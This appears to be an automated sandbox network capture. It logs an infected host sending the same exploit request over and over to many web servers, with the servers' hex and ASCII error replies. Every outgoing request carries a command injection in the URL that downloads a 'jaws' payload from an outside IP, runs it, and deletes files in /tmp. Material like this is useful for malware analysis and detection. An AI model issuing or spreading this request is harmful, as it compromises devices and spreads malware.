Jan 2, 2024 06:24:38.231623888 CET	504	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:38 GMT Content-Type: text/html Content-Length: 264 Connection: close X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 54 68 65 20 70 6c 61 69 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 77 61 73 20 73 65 6e 74 20 74 6f 20 48 54 54 50 53 20 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 63 65 6e 74 65 72 3e 54 68 65 20 70 6c 61 69 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 77 61 73 20 73 65 6e 74 20 74 6f 20 48 54 54 50 53 20 70 6f 72 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 The plain HTTP request was sent to HTTPS port</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><center>The plain HTTP request was sent to HTTPS port</center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.23	49486	185.85.0.139	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:38.209928989 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:38.450619936 CET	310	IN	HTTP/1.1 400 Bad Request Server: myracloud Date: Tue, 02 Jan 2024 05:24:38 GMT Content-Type: text/html Content-Length: 149 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4d 79 72 61 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Myra</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.23	60962	104.125.2.94	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:40.594854116 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:40.718425989 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:40 GMT Date: Tue, 02 Jan 2024 05:24:40 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 65 30 32 37 64 36 38 26 23 34 36 3b 31 37 30 34 31 37 33 30 38 30 26 23 34 36 3b 35 65 66 63 61 33 34 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5e027d68.1704173080.5efca348</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.23	44204	173.234.100.230	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:40.616364002 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:40.767100096 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.23	44448	23.7.184.253	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:40.620372057 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:40.775767088 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:24:40 GMT Date: Tue, 02 Jan 2024 05:24:40 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 36 32 32 38 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 38 30 26 23 34 36 3b 36 32 38 66 62 65 32 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.7622817.1704173080.628fbe27</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.23	54360	35.160.3.149	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:40.650599003 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:40.837640047 CET	401	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:24:40 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.23	43532	116.202.207.175	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:40.704653978 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:40.944293976 CET	427	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:40 GMT Server: Apache X-Frame-Options: DENY Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
303	192.168.2.23	39714	104.19.229.176	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:40.719393015 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
304	192.168.2.23	46938	18.161.154.76	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:40.755404949 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:40.894295931 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Tue, 02 Jan 2024 05:24:40 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
305	192.168.2.23	41066	91.185.13.236	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:40.775188923 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:42.378799915 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:44.266542912 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:48.009989977 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:55.688904047 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:10.790776014 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:42.018394947 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
306	192.168.2.23	44196	204.152.46.67	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:40.815829039 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:40.980956078 CET	121	IN	HTTP/1.1 302 Found Location: https:///shell?cd+/tmp;rm+-rf+*;wget+ Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.23	39524	34.233.79.101	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:40.913374901 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:41.071512938 CET	401	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:24:40 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.23	50912	104.92.147.46	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:41.035412073 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:41.315715075 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:41 GMT Date: Tue, 02 Jan 2024 05:24:41 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 32 32 61 64 35 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 38 31 26 23 34 36 3b 38 38 35 62 37 63 39 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.222ad517.1704173081.885b7c99</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.23	59232	58.152.149.5	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:41.116384983 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:41.418021917 CET	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 05:24:40 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.23	57330	31.41.88.12	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:41.167213917 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:41.440023899 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:41 GMT Content-Type: text/html; charset=UTF-8 Server: gvs 1.0 Connection: Close Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_1
